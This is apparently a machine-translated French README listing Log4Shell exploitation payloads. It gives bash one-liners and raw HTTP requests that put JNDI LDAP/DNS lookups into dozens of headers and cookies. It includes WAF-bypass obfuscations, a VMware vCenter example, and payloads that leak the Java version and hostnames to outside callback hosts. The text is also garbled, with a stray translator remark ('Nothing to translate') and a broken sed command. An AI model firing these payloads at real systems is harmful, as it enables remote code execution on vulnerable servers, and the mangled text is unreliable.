ifconfig-me/log4shell-payloadsLog4Shell / Log4J Payload - CVE-2021-45046 et CVE-2022-42889
Une liste organisée de payloads d'exploitation Log4Shell / Log4J ciblant :
🔗 Par @nav1n0x
cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I {} echo '{}/${jndi:ldap://{}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' >> L4SFuzzList httpx -l L4SFuzzList
### ✅ One-liner 2```bash
cat 1.txt | while read host; do
curl -sk --insecure --path-as-is "$host/?test=${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}" \
-H "X-Api-Version: ${jndi:ldap://log4j.requestcatcher.com/a}" \
-H "User-Agent: ${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}"
done
```
Crédit : [@HackerGautam](https://twitter.com/HackerGautam/status/1469751218926882816)
---
## 📚 En savoir plus
* Une excellente ressource pour apprendre et gagner :
[https://github.com/pentesterland/Log4Shell](https://github.com/pentesterland/Log4Shell)
---
## 💥 Fuzzing de contournement WAF (⚠️ Faux positifs élevés)```bash
cat vulnerable-hosts.txt | httpx -H 'X-Api-Version: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Cookie: mt.v=${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Cookie: CID_CART_COOKIE=${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'User-Agent: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'User-Agent: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Referer: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Origin: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Accept-Language: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-By: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-For: \${jndi:ldap://${hostName}.L4J.zdgnnnz669jsqwlr243a74pk1b72v5ju.oastify.com/a}' -H 'X-Forwarded-For-Original: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Host:${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Port: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Proto: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Protocol: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Scheme: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Server: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Ssl: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarder-For: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forward-For: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forward-Proto: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Frame-Options: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-From: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Geoip-Country: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-XSRF-TOKEN: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Accept: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Accept-Datetime: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Accept-Charset: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Accept-Encoding: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Accept-Language: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}'
```
## 🧪 Confirmer l'exploit avec des en-têtes personnalisés```http
GET /test?id=%24%7Bj%24%7B::-n%7Ddi:dns%24%7B::-:%7D//quua8mp7vfexh3a3qkf1sggj9%24%7B::-.%7Dcanarytokens.com%7D HTTP/1.1
User-Agent: ${j${::-n}di:dns${::-:}//quua8mp7vfexh3a3qkf1sggj9${::-.}canarytokens.com}
Origin: ${j${::-n}di:dns${::-:}//quua8mp7vfexh3a3qkf1sggj9${::-.}canarytokens.com}
Referer: ${j${::-n}di:dns${::-:}//quua8mp7vfexh3a3qkf1sggj9${::-.}canarytokens.com}
Cookie: LastMRH_Session=***; MRHSession=***
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
Host: ******
Connection: Keep-alive
```
INPUT:```bash
$ curl test.domain.com -H 'Cookie: CU_BRAND=${jndi:ldap://${sys:java.version}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}'
```
No input provided. Nothing to translate.```
GET / HTTP/2
Host: test.domain.com
Referer: https://www.google.com/search?BC=en&q=testing
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
Cookie: mt.v=***; CU_ACT=${jndi:ldap://${sys:java.version}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}; CID_CART_COOKIE=${jndi:ldap://${sys:java.version}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}; IBSD_LOCALE=en_US; CU_BRAND=${jndi:ldap://${sys:java.version}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}; jsession_unique_id=xx888dd667ggddd23454d
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
```
## 🧩 Exemple de payload VMware vCenter```http
POST /analytics/telemetry/ph/api/hyper/send?_c=${jndi:ldap://${sys:java.version}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}
Host: test.domain.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```
---
## 🎭 Variantes de charge utile de contournement WAF
Crédit : [Musana](https://musana.net)
```